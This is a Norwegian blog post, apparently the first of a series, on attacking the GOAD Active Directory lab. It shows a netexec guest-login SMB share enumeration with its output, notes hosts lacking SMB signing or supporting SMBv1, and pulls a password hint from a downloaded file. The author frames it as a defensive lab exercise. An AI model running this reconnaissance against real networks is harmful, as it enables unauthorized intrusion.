Her benytter jeg spesifikt smb modulen i netexec, og spesifiserer brukernavn “Guest” og et blankt passord for å se om gjestetilgang er tillatt. Dette gjør jeg for å vise at vi kan hente informasjon selv før vi har funnet brukernavn/passord i denne laben.
$netexecsmb--shares10.3.2.10-30-u""-p""SMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.11445WINTERFELL [+] north.sevenkingdoms.local\:SMB10.3.2.11445WINTERFELL [-] Error enumerating shares: STATUS_ACCESS_DENIEDSMB10.3.2.10445KINGSLANDING [+] sevenkingdoms.local\:SMB10.3.2.10445KINGSLANDING [-] Error enumerating shares: STATUS_ACCESS_DENIEDSMB10.3.2.22445CASTELBLACK [-] north.sevenkingdoms.local\: STATUS_ACCESS_DENIED SMB10.3.2.22445CASTELBLACK [-] Error enumerating shares: Error occurs whilereadingfromremote(104)SMB10.3.2.23445BRAAVOS [-] essos.local\: STATUS_ACCESS_DENIED SMB10.3.2.23445BRAAVOS [-] Error enumerating shares: Error occurs whilereadingfromremote(104)SMB10.3.2.12445MEEREEN [+] essos.local\:SMB10.3.2.12445MEEREEN [-] Error enumerating shares: STATUS_ACCESS_DENIEDRunningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi har lokalisert /all filesharen på både CASTELBLACK og BRAAVOS serverene. Kanskje vi kan finne noe spennende der? Vi ser også at Braavos og Castelblack ikke krever SMB Signing, og at både Braavos og Meereen støtter SMBv1.
/etc/hosts
Vi oppdaterer /etc/hosts med informasjon samlet fra enum4linux og netexec:
Vi oppdaget et dokument som heter arya.txt – dette kan være interessant, så vi laster det ned og ser på innholdet.
$catarya.txtSubject:QuickDepartureHeyArya,Ihopethismessagefindsyouwell.Somethingurgenthascomeup,andIhavetoleaveforawhile.Don't worry; I'llbebacksoon.Ileftalittlesurpriseforyouinyourroom–theswordYou've named "Needle." It felt fitting, given your skills. Take care of it, and it'lltakecareofyou.I'll explain everything when I return. Until then, stay sharp, sis.Best,John
Som vi ser er det et potensielt passordhint i dokumentet. “Needle”. Dette kan være nyttig i fremtiden.
Denne bloggen kommer til å handle om identitetssikring, primært i windows-miljøer, så det går mye i AD og Entra.
Som mitt første blogginnlegg her ønsker jeg å se nærmere på veldig vanlige feilkonfigurasjoner og sårbarheter i Windows Active Directory, som kan føre til total kompromittering av et AD-miljø.
Det er ikke slik at jeg ønsker å lære bort disse teknikkene så folk skal misbruke dem, men heller å demonstrere hvor sårbare mange er uten å vite det, og oppfordre dem til å herde miljøene sine.
Fremtidige blogginnlegg vil ta for seg konkrete steg man kan ta for å herde spesifikke angrepsflater, og vil referere tilbake til denne første serien for å vise hvorfor det er viktig å gjøre disse tiltakene.
Målet blir å ta seg fra en kali linux maskin på samme subnet, til totalt eierskap over rubbel og bit i labben.
Labmiljøet settes opp via automasjonsprogramvaren Vagrant og Ansible, og kan være litt vanskelig å komme i gang med, da automatikken ikke alltid fungerer helt som den skal, så vær obs på det dersom du skal begi deg ut på samme laboppgavene.
Labben som er valgt er den vanligste – GOAD, som innebærer 5 virtuelle maskiner, 2 AD skoger med 3 domener totalt.
Jeg har løst labben en gang før, og gikk inn blindt den gang, men på github repoet finner man en oversikt over alle angrepsmetodene som skal virke. Med viten og vilje har jeg unngått å lese denne, da jeg ønsker å utforske det selv.